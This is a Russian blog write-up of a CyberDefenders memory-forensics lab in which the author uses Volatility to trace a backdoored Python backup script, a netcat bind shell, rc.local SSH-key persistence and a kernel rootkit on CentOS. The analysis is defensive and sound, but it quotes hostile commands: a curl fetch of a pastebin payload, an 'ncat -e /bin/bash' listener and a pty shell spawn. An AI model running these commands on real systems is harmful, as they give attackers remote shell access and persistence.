
Привет, Хабр! В предыдущей статье мы разобрали пример фишинга с использованием PDF вложения с вредоносным кодом, на примере задания GetPDF от CyberDefenders.
Сегодня мы поговорим о руткитах – типе вредоносного ПО, предназначенного для предоставления повышенных привилегий на устройстве жертвы без ее ведома. А также потренируемся в расследовании инцидента, связанного с атакой и заражением этим зловредом.
Небольшая справка о руткитах
Согласно книге «The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, 2nd Edition» by Bill Blunden: “Руткиты — набор исполняемых (двоичных) файлов, скриптов, конфигурационных файлов (в том числе, специальных утилит), которые позволяют получить доступ к компьютеру и поддерживать его на протяжении времени, не предупреждая об этом владельца.”
Руткиты позволяют злоумышленникам с легкостью получить конфиденциальную информацию, хранящуюся на компьютере жертвы. Это возможно поскольку этот вредонос может выполнять действия как от имени учетной записи пользователя, так и получать полный доступ к системе на уровне ядра ОС, и даже работать на уровне драйверов, что делает его сложно детектируемым.
Как и в прошлый раз, практиковаться мы будем, отвечая на вопросы лабораторного задания Seized с уже известной учебной платформы CyberDefenders.
В ходе расследования авторы задания предлагают нам ответить на 9 вопросов, проанализировав дамп оперативной памяти с ОС CentOS (на базе ядра Linux):
-
What is the CentOS version installed on the machine?
-
There is a command containing a strange message in the bash history. Will you be able to read it?
-
What is the PID of the suspicious process?
-
The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor?
-
What are the attacker’s IP address and the local port on the targeted machine?
-
What is the first command that the attacker executed?
-
After changing the user password, we found that the attacker still has access. Can you find out how?
-
What is the name of the rootkit that the attacker used?
-
The rootkit uses crc65 encryption. What is the key?
Итак, приступим.
Подготовка
Правильно подобранный набор утилит и хорошо подготовленный стенд — залог успеха в расследовании инцидентов, поэтому начнем именно с этого. Развернем на виртуальной машине ОС на базе *nix. Отмечу, что здесь не принципиально будут ли это дистрибутивы Kali, Ubuntu или что-то другое, более экзотическое. Однако, если в будущем вы захотите продолжить исследования вредоносных сэмплов, то рекомендую развернуть REMnux или SIFT (by SANS), т.к. данные образы ОС уже содержат большой набор необходимых утилит.
После выбора образа и развертывания операционной системы (не буду подробно останавливаться на этом), нам необходимо убедиться, что на стенде установлен язык программирования python2 и менеджер пакетов pip к нему, т.к. Volatility написана на нём (хоть он уже и не поддерживается разработчиками).
Далее загружаем одну из самых популярных утилит для анализа дампа оперативной памяти Volatility: команду к импорту файлов git clone и устанавливаем python setup.py install для загрузки всех необходимых компонентов в систему. Нам также потребуется поставить несколько дополнительных библиотек для модулей Volatility с помощью команды:
pip install pycrypto distorm3 yara
После этого открываем страницу с заданием и загружаем дамп оперативной памяти с профилем ядра — zip файл, который содержит информацию о структуре ядра и отладочных символах и позволяет Volatility корректно распарсить важную информацию.
Посмотреть список доступных профилей после установки и плагинов можно командой:
./vol.py --info
Теперь разархивируем загруженный дамп (dump.mem) и профиль (Centos7.3.10.1062.zip): unzip -o c73-EZDump.zip -d . и импортируем профиль в необходимую директорию с
загруженной Volatility используя команду:
cp Centos7.3.10.1062.zip /volatility/plugins/overlays/linux/.
Распаковывать архив не нужно. Это позволит продолжить нам анализ содержимого архива. И убедимся, что необходимый профиль доступен в Volatility. Для этого воспользуемся командой: ./vol.py --info | grep LinuxCentos
Вывод должен быть таким:
Volatility Foundation Volatility Framework 2.6.1 LinuxCentos7_3_10_1062x64 — A Profile for Linux Centos7.3.10.1062 x64
Анализ
Прежде всего, давайте определим версию CentOS и заодно ответим на Вопрос №1. What is the CentOS version installed on the machine? Для этого воспользуемся утилитами strings & grep:
strings dump.mem | grep -i ‘Linux release’ | uniq
В результате получим версию релиза:
Linux 3.10.0-1062.el7.x86_64 CentOS Linux release 7.7.1908 (Core)
Далее в Вопросе №2. There is a command containing a strange message in the bash history. Will you be able to read it? авторы задания просят нас найти странную команду в истории bash. C помощью Volatility мы легко справимся с поставленной задачей, указав путь к дампу оперативной памяти, импортированный профиль и использовав модуль linux_bash (вывод на Рисунке 1):
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_bash

Здесь мы видим строку в кодировке base64, давайте ее декодируем:
echo «c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=» | base64 -d
Таким образом, мы получили наш первый флаг и ответ на Вопрос №2:
shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}
Сразу отмечу, что активность в истории начинается с временной метки 14:56:16 (далее — timeline) и обращу ваше внимание на разные PID у процессов bash (в самом низу).
Далее нас просят найти process ID (PID) подозрительного процесса – Вопрос №3. What is the PID of the suspicious process? Для этого мы можем воспользоваться одним из следующих плагинов:
-
linux_pslist — выводит список текущих процессов из структуры task_structure;
-
linux_pstree — дерево процессов родительские-> дочерние процессы;
-
linux_psxview — ищет скрытые процессы;
-
linux_psscan — сканирует физическую память и ищет процессы (позволяет получить список в том числе уже завершенных процессов и таймлайн их завершения).
Мы воспользуемся первым плагином linux_pslist, т.к. он покажет процессы (process ID – далее PID, UID, GID, Name) и отсортированные timelines для них (Рисунок 2). Сделаем это с помощью команды:
vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pslist

Мы видим, что запущенных процессов много, но я сокращу зону поиска, обратившись к нашему первому timeline из Вопроса №2. Получается, что нас интересуют процессы, запущенные после 14:56:16. Первым подозрительным процессом является PID 2854 – утилита ncat, которая позволяет выстраивать цепочки соединений, пробрасывать порты и многое другое, а также, часто используется злоумышленниками и этичными хакерами. Именно номер этого процесса – 2854 позволяет нам ответить на Вопрос № 3.
Переходим к Вопросу №4. The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor? Внимательный читатель уже наверняка заметил, что когда мы вывели историю bash, отвечая на Вопрос №2, то пользователь в 14:56:25 загрузил с гита python скрипты: git clone (https://github.com/tw0phi/PythonBackup).
После чего он разархивировал и запустил PythonBackup.py с правами суперпользователя.
Давайте посмотрим на код скрипта. Внимательно изучив, увидим, что в скрипте PythonBackup.py в переменную snapshot передается содержимое функции: generateSnapshot() (Рисунок 3) из кода snapshot.py в директории app.

Заглянув в код snapshot.py и поискав данную функцию, мы увидим обращение к стороннему ресурсу в коде функции (Рисунок 4) и выполнение полученного кода в командной строке.

Выполним команду из скрипта: curl -k https://pastebin.com/raw/nQwMKjtZ
И декодируем полученное содержимое из base64 (Рисунок 5), чтобы определить цели запуска скрипта автором.

Итак, пользователь выполнил скрипт PythonBackup.py с правами суперпользователя, тем самым он запустил netcat в бэкграунде и открыл бэкдор на порт 12345, позволив злоумышленнику попасть на хост:
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null
На этом этапе злоумышленник и попал на хост.
После декодирования строки из base64 мы получили флаг (Рисунок 5):
shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}
В Вопросе №5. What are the attacker’s IP address and the local port on the targeted machine? авторы задания предлагают нам указать IP адрес атакующего и порт на целевом (атакованном) хосте, несмотря на то, что мы уже и так поняли какой был порт ?.
Для этого воспользуемся плагином linux_netstat, который выводит список открытых сокетов, и отсортируем их по флагу «соединение установлено» с помощью команды:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_netstat | grep ‘ESTABLISHED’
В результате мы получили порт и IP адрес, с которым атакуемый хост установил соединение (Рисунок 6).

Здесь мы видим IP адрес атакующего – 192.168.49.1 и целевой порт на атакуемом хосте –12345.
Прежде чем ответить на Вопрос №6. What is the first command that the attacker executed? давайте посмотрим, какие процессы являются дочерними по отношению к ncat (PID 2854). В этом нам поможет плагин linux_pstree, который позволяет выстроить дерево отношений родительских и дочерних процессов. Сделаем это с помощью команды:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pstree
В результате мы видим список: bash (родитель 2854), python (родитель 2876), bash (родитель 2886), vim (родитель 2887), (Рисунок 7).

В дереве процессов можно также заметить, что после запуска командной оболочки bash, атакующий запустил python, который в свою очередь породил новый tty. Предлагаю посмотреть, с какими аргументами был запущен python и заодно ответить на Вопрос №6 What is the first command that the attacker executed? Для этого воспользуемся плагином linux_psaux. Он позволит просмотреть аргументы, с которыми запущен процесс, а также userID и groupID, из-под которых был произведен запуск. Введем команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_psaux

Как видно на Рисунке 8, первой командой, которую атакующий выполнил на хосте с правами суперпользователя после запуска скрипта легитимным пользователем PythonBackup.py, открытия бэкдора в системе и подключения злоумышленника, была:
python -c import pty; pty.spawn(“/bin/bash”)
Данная команда позволяет породить новый tty. Поэтому в дереве процессов на Рисунке 7, python (PID 2886) является родителем процесса bash (PID 2887, да-да, тот самый bash, на который мы с Вами обратили внимание, когда получили историю команд в оболочке bash на Рисунке 1).
В Вопросе №7. After changing the user password, we found that the attacker still has access. Can you find out how? нас просят ответить: как даже после смены пользователем пароля атакующий беспрепятственно продолжил входить на хост?
Итак, после выполнения плагина linux_psaux (Рисунок 8), внимательный читатель наверняка заметил, что атакующий редактировал файл /etc/rc.local редактором vim (PID 3196), rc.local — скрипт, содержимое которого выполняется после старта всех системных служб (здесь можно провести аналогию с автозагрузкой в ОС Windows).
Теперь давайте сделаем дамп процесса vim (PID 3196), чтобы посмотреть какие изменения атакующий внес с использованием данного редактора. Для этого создадим поддиректорию mkdir 3196_vim и выполним команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dump_map -p 3196 -D 3196_vim
В итоге мы получили 90 файлов с расширением .vma. Предлагаю сузить зону поиска с помощью команды: grep -iR «/etc/rc.local»
По данному критерию осталось всего 2 файла:
-
Binary file ./task.3196.0x22e5000.vma matches
-
Binary file ./task.3196.0x7ffc1c0c1000.vma matches
Сейчас нам необходимо посмотреть их содержимое и найти интересующую нас информацию (Рисунок 9), для этого воспользуемся сочетанием утилит strings & grep и выполним команду: strings -a task.3196.0x22e5000.vma | grep -A10 «/etc/rc.local»

В дампе содержимого процесса VIM, мы видим, что атакующий в скрипте указал запись ключа шифрования ssh в файл /home/k3vin/.ssh/authorized_keys. Это позволило ему в дальнейшем входить в систему без пароля. Также здесь мы видим строку в base64, которую можно декодировать и получить флаг, чтобы ответить на Вопрос № 7.
# Well played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=
echo c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= | base64 -d
shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}
Переходим к следующему Вопросу № 8. «What is the name of the rootkit that the attacker used?», где нас просят назвать имя rootkit’a, который использовал атакующий. Чтобы увидеть логи ядра, выполним команду (Рисунок 10):
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dmesg

Здесь видим предупреждения ядра о том, что загруженный модуль sysemptyrect не прошел верификацию и может нанести вред ядру, то есть модуль не является доверенным. После чего выполняется шифрование CRC65.
Также посмотрим на системные вызовы и, найдём среди них перехваченные
(HOOKED), выполним команду:
./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED
Стало понятно, что один из таких вызовов (номер 88 – это symlink) перехватывается модулем sysemptyrect, на который ядро также выдало предупреждение (Рисунок 11). Имя руткита, который использовал атакующий sysemptyrect.

Осталось ответить на Вопрос № 9. The rootkit uses crc65 encryption. What is the key? – последний вопрос задания.
Мы уже знаем название шифра, теперь нам ничего не мешает пройтись по дампу памяти и найти необходимый ключ: grep -a “crc65*” dump.mem
Результат виден на Рисунке 12. Кроме того, ключ можно обнаружить в дампе процесса bash (PID 2887).

Вывод
Мы разобрали атаку на хост на базе Linux (ОС CentOS) с выполнением вредоносного кода из скрипта, закреплением атакующего в системе и применением rootkit’a.
Причиной проникновения злоумышленника на хост, является запуск скрипта snapshot.py с вредоносным кодом внутри, который вызывался из PythonBackup.py. Главной рекомендацией, которой я бы хотел с вами здесь поделиться – читать содержимое кода перед запуском или не запускать такой код вовсе, тем более с правами суперпользователя.
Буду рад, если статья окажется для вас полезной. Надеюсь, что этот разбор поможет вам в реальной работе. Если у вас есть вопросы – пишите в комментариях!
Автор: @AntonyN0p Антон Кузнецов, ведущий инженер информационной безопасности R-Vision.
ссылка на оригинал статьи https://habr.com/ru/company/rvision/blog/686724/
Добавить комментарий